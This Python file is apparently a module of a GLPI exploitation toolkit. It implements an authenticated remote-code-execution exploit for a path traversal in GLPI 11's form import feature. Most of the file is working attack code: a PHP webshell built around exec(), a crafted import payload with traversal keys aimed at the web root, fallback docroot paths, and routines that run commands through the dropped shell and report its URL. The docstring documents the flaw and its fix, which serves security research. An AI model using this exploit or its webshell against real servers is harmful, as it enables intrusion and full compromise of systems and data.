import json
import html
import uuid
import base64
import ntpath
import posixpath
from http import HTTPStatus
from bs4 import BeautifulSoup
from ..exploit import GlpiExploit
from glpwnme.exploits.logger import Log
from glpwnme.exploits.utils import GlpiUtils


class CVE_2026_48482(GlpiExploit):
    """
    Authenticated RCE via path traversal in the GLPI Form import feature
    (GLPI 11.0.0 - 11.0.7).

    The form import wizard (front route /Form/Import/Execute, controller
    Glpi\\Controller\\Form\\Import\\Step4ExecuteController) deserializes an
    attacker-supplied JSON describing one or more forms. Each form can carry a
    custom "illustration" object {key, data, checksum}. FormSerializer::
    prepareIllustrationDataForImport() handles it with NO sanitization:

        $data     = base64_decode($illustration->data);
        $tmp_path = GLPI_TMP_DIR . "/" . $illustration->key;   // attacker key
        file_put_contents($tmp_path, $data);                   // write-what-where

    `key` is concatenated into the path unchecked, giving an arbitrary file
    write (content = base64-decoded `data`). The write happens BEFORE the
    checksum is validated and BEFORE the form row is created, so the file lands
    on disk even though the import later errors out. A traversal key escaping
    GLPI_TMP_DIR (<var>/files/_tmp) into the web root (<root>/public) drops a
    PHP webshell => remote code execution.

    Entry point is gated by Form::canCreate() (rightname 'form', CREATE bit).
    Out of the box only the Super-Admin profile holds that right; an admin may
    delegate it to a lower profile, in which case that profile is enough.

    Fix in 11.0.8: the key is rejected unless it matches /^[a-zA-Z0-9._-]+$/,
    blocking the traversal.

    @author Ne0re0
    @cvss 7.2
    @name CVE_2026_48482
    """
    _impacts = "Remote Code Execution, Arbitrary File Write"
    _privilege = "Superadmin"  # needs the 'form' CREATE right (Super-Admin by default)
    _is_check_opsec_safe = True  # check only performs a GET on the import page
    min_version = "11.0.0"
    max_version = "11.0.8"  # max is strict (<), so vulnerable up to and including 11.0.7

    _IMPORT_URL = "/Form/Import/Execute"
    _IMPORT_PAGE = "/Form/Import"
    _SHELL_PASSWD = "P@ssw0rd123"

    # Candidate traversal keys, tried in order when the user does not force --key.
    # The write starts inside GLPI_TMP_DIR (<var>/files/_tmp); each candidate
    # climbs out into a web-served, php-executing docroot (.../public).
    # {shell} is substituted with the dropped file name.
    _KEY_CANDIDATES = [
        "../../public/{shell}",                       # standard source install: <root>/files/_tmp
        "../../../../var/www/glpi/public/{shell}",    # official glpi/glpi docker image (split data dir)
        "../../../../var/www/html/public/{shell}",    # common bare-metal / other docker layout
    ]

    def _build_webshell(self, passwd):
        """
        Build a self-contained webshell guarded by ``passwd``. The repo's
        GlpiUtils.get_glpi_shell() includes `inc/includes.php`, which fatals
        (HTTP 500, no output) when dropped in GLPI 11's public/ docroot. This
        standalone shell needs no GLPI bootstrap and keeps the same
        passwd/_hidden_cmd + <code> convention so the output parser is unchanged.

        :param passwd: The password protecting the webshell
        :return: The raw webshell bytes
        """
        # Escape for a PHP single-quoted literal: only \ and ' are special there.
        php_pass = passwd.replace("\\", "\\\\").replace("'", "\\'").encode()
        return (
            b"<?php error_reporting(0);"
            b"if(isset($_GET['passwd'])&&$_GET['passwd']==='" + php_pass + b"'){"
            b"if(!empty($_GET['_hidden_cmd'])){echo '<code>';$o=array();"
            b"@exec($_GET['_hidden_cmd'],$o);echo htmlentities(implode(\"\\n\",$o));"
            b"echo '</code>';}}"
        )

    def _resolve_key(self, shell_name):
        """
        Compute the exact traversal key from the server's own paths instead of
        guessing. Both ends are read straight from the System Information tab
        (the same config page GLPI_TMP_DIR is dumped on): GLPI_TMP_DIR is where
        the write starts and GLPI_ROOT is the application root, whose 'public/'
        subdir is the web docroot in GLPI 11. The key is the relative path from
        GLPI_TMP_DIR to <GLPI_ROOT>/public/<shell_name>.

        GLPI_ROOT is preferred over the hash-bruteforced glpi_infos.root_dir
        because the latter is often unknown; root_dir is only a last resort.

        :param shell_name: The name of the file to drop under the docroot
        :return: The traversal key, or None if the paths could not be resolved
        """
        try:
            tmp_dir = self.glpi_session.extract_glpi_var("GLPI_TMP_DIR")
            root_dir = self.glpi_session.extract_glpi_var("GLPI_ROOT")
        except Exception:
            tmp_dir = root_dir = None
        root_dir = (root_dir or self.glpi_session.glpi_infos.root_dir or "").strip()
        if not tmp_dir or not root_dir:
            return None

        tmp_dir = tmp_dir.strip()
        # Windows installs report a 'C:\...' root; pick the matching path math.
        pathmod = ntpath if ":\\" in root_dir or "\\" in tmp_dir else posixpath
        target = pathmod.join(root_dir, "public", shell_name)
        # file_put_contents(GLPI_TMP_DIR . "/" . key) accepts forward slashes on
        # every platform, so normalize the (possibly back-slashed) relative path.
        return pathmod.relpath(target, tmp_dir).replace("\\", "/")

    def infos(self):
        infos = "[u]Description:[/u]\n"
        infos += ("Authenticated path traversal in the [b]Form import[/b] feature leads to an "
                  "arbitrary file write. [b]FormSerializer::prepareIllustrationDataForImport()[/b] "
                  "writes [i]GLPI_TMP_DIR . '/' . illustration.key[/i] with attacker-controlled "
                  "content and no sanitization. A [b]../[/b] key escapes into [b]public/[/b] to "
                  "drop a PHP webshell => RCE.\n")

        infos += "\n[u]Privilege:[/u]\n"
        infos += ("Requires the [b]'form' CREATE[/b] right. Only [b]Super-Admin[/b] holds it by "
                  "default, so provide Super-Admin credentials (or any account the admin granted "
                  "Forms create).\n")

        infos += "\n[u]Params:[/u]\n"
        infos += " - [i]cmd[/i] (default 'id'): command executed through the built-in webshell\n"
        infos += " - [i]shell[/i] (default random .php): name of the dropped file under the docroot\n"
        infos += " - [i]file[/i] (default none): local .php file to drop instead of the built-in shell\n"
        infos += f" - [i]passwd[/i] (default '{self._SHELL_PASSWD}'): password guarding the built-in webshell\n"
        infos += " - [i]key[/i] (default auto): force the traversal key written into GLPI_TMP_DIR\n"

        infos += "\n[u]Usage:[/u]\n"
        infos += "[grey66]# Check the account holds the Forms create right[/]\n"
        infos += "--check\n"
        infos += "\n[grey66]# Drop a webshell and run 'id'[/]\n"
        infos += "--run\n"
        infos += "\n[grey66]# Custom command with a custom webshell password[/]\n"
        infos += "--run -O cmd='uname -a' passwd='s3cr3t'\n"
        infos += "\n[grey66]# Drop your own php file, forcing the docker traversal key[/]\n"
        infos += "--run -O file='myshell.php' key='../../../../var/www/glpi/public/pwn.php'\n"

        infos += "\nExploit drops a file on disk, [yellow b]use --clean[/] to neutralize it."
        return infos

    def check(self):
        """
        Confirm the current account can reach the import wizard, i.e. it holds
        the 'form' CREATE right that Step1IndexController gates on. A GET only,
        so this is opsec safe.

        :return: Whether the import wizard is reachable
        :rtype: bool
        """
        res = self.get(self._IMPORT_PAGE, allow_redirects=False)
        if res.status_code in (HTTPStatus.FOUND, HTTPStatus.SEE_OTHER):
            return False
        if res.status_code == HTTPStatus.FORBIDDEN or GlpiUtils.is_access_denied(res.content):
            return False
        return res.status_code == HTTPStatus.OK

    def _build_payload(self, key, shell_content):
        """
        Build a minimal but complete form-export spec (version 1) with a single
        form whose malicious illustration triggers the file write. Fields are
        arranged so execution reaches file_put_contents() before anything fails:
        importBasicFormProperties() resolves the entity (mapped below) and then
        prepares the illustration, all before the form row is created.

        :param key: The traversal key written into GLPI_TMP_DIR
        :param shell_content: The raw webshell bytes
        :return: The JSON string to send as the `json` POST field
        """
        spec = {
            "version": 1,
            "forms": [{
                "id": 1,
                "uuid": str(uuid.uuid4()),
                "name": "CVE-2026-48482",
                "header": None,
                "description": None,
                "category_name": "",       # empty -> category lookup skipped
                "entity_name": "PWN",       # resolved via the replacements below
                "is_recursive": True,
                "is_active": False,
                "render_layout": "step_by_step",
                "submit_button_visibility_strategy": "ALWAYS_VISIBLE",
                "illustration": {
                    "key": key,
                    "data": base64.b64encode(shell_content).decode(),
                    "checksum": "0" * 32,   # only verified AFTER the write
                },
                "submit_button_conditions": [],
                "sections": [],
                "comments": [],
                "questions": [],
                "policies": [],
                "destinations": [],
                "translations": [],
                "data_requirements": [],    # empty -> validateRequirements() passes
                "custom_types_requirements": [],
                "plugin_requirements": [],
            }],
        }
        return json.dumps(spec)

    def _import(self, key, shell_content):
        """
        Send one import request that writes the webshell at `key`. The CSRF
        token is added automatically by GlpiSession.post().
        """
        data = {
            "json": self._build_payload(key, shell_content),
            # Map the fake entity name so DatabaseMapper::getItemId(Entity, ...)
            # succeeds and execution reaches the illustration write.
            "replacements[0][itemtype]": "Entity",
            "replacements[0][original_name]": "PWN",
            "replacements[0][replacement_id]": "0",
        }
        return self.post(self._IMPORT_URL, data=data, allow_redirects=False)

    def _run_cmd(self, shell_name, cmd, passwd):
        """
        Trigger the dropped webshell and return the command output, or None if
        the shell is not reachable / did not execute.
        """
        res = self.get(
            "/" + shell_name,
            params={"passwd": passwd, "_hidden_cmd": cmd},
            allow_redirects=False,
        )
        if res.status_code != HTTPStatus.OK:
            return None
        code = BeautifulSoup(res.content, "html.parser").find("code")
        if code is None:
            return None
        return code.get_text("\n").strip()

    def _candidate_keys(self, shell_name, key=None):
        """
        Build the ordered list of traversal keys to try. A forced --key wins;
        otherwise the exact key resolved from the server paths is tried first,
        then the hardcoded layout fallbacks.

        :param shell_name: The name of the file dropped under the docroot
        :param key: A traversal key forced by the user, if any
        :return: The ordered list of keys to attempt
        """
        if key:
            return [key]
        candidates = []
        resolved = self._resolve_key(shell_name)
        if resolved:
            candidates.append(resolved)
        candidates += [c.format(shell=shell_name) for c in self._KEY_CANDIDATES]
        return candidates

    def run(self, cmd="id", shell=None, file=None, passwd=None, key=None, quiet=False):
        """
        Drop a webshell via the form-import traversal and execute a command.

        :param cmd: The command to run through the built-in webshell (default 'id')
        :param shell: The name of the dropped php file (default random)
        :param file: Local .php file to drop instead of the built-in webshell
        :param passwd: Password guarding the built-in webshell (default _SHELL_PASSWD)
        :param key: Force the traversal key (default: auto-resolve then fallbacks)
        """
        Log.quiet = quiet
        passwd = passwd or self._SHELL_PASSWD

        if file:
            with open(file, "rb") as f:
                shell_content = f.read()
        else:
            shell_content = self._build_webshell(passwd)

        if key:
            # When the key is forced, the file lands at the key's basename; the
            # reachability test URL must use that same name, not a random one.
            shell_name = shell or key.rstrip("/").rsplit("/", 1)[-1]
        else:
            shell_name = shell or f"{GlpiUtils.random_str(8)}.php"
        candidates = self._candidate_keys(shell_name, key)

        for candidate in candidates:
            Log.msg(f"Dropping [b]{shell_name}[/b] via traversal key: [yellow]{candidate}[/yellow]")
            res = self._import(candidate, shell_content)
            if GlpiUtils.is_access_denied(res.content):
                Log.err("Access denied: the account lacks the 'form' CREATE right")
                return None

            if file:
                # User-supplied shell: we cannot parse its output, just confirm
                # the file is served (HTTP 200) at the expected location.
                if self.get("/" + shell_name, allow_redirects=False).status_code == HTTPStatus.OK:
                    shell_url = self.glpi_session.r("/" + shell_name)
                    Log.print(f"[green b][+] Custom webshell landed at: {shell_url}[/]")
                    self._write_log(f"Custom webshell dropped at {shell_url} (key: {candidate})")
                    return shell_url
            else:
                output = self._run_cmd(shell_name, cmd, passwd)
                if output is not None:
                    shell_url = self.glpi_session.r("/" + shell_name)
                    Log.print(f"[green b][+] RCE confirmed, webshell landed at: {shell_url}[/]")
                    Log.msg(f"Output of [italic]{cmd}[/italic]:")
                    Log.print(output)
                    Log.msg(f"Run more: {shell_url}?passwd={passwd}&_hidden_cmd=<cmd>")
                    self._write_log(f"Webshell dropped at {shell_url} (key: {candidate})")
                    return shell_url

            Log.err("File written but not reachable with this key, trying next layout...")

        Log.err("Could not land a reachable webshell. The write primitive still")
        Log.err("succeeded on disk; force the right path with -O key='../../<docroot>/x.php'.")
        return None

    def clean(self, shell=None, key=None):
        """
        Neutralize a dropped shell by overwriting it with empty content through
        the same write primitive (the bug offers no delete primitive, so the
        empty file remains but is no longer executable code).
        """
        if not shell:
            Log.err("Provide the dropped file name: --clean -O shell='<name>.php'")
            return
        candidates = self._candidate_keys(shell, key)
        for candidate in candidates:
            self._import(candidate, b"")
        Log.msg(f"Overwrote [b]{shell}[/b] with empty content via the import write primitive.")
        Log.msg("The empty file may remain on disk; remove it manually if you have shell access.")
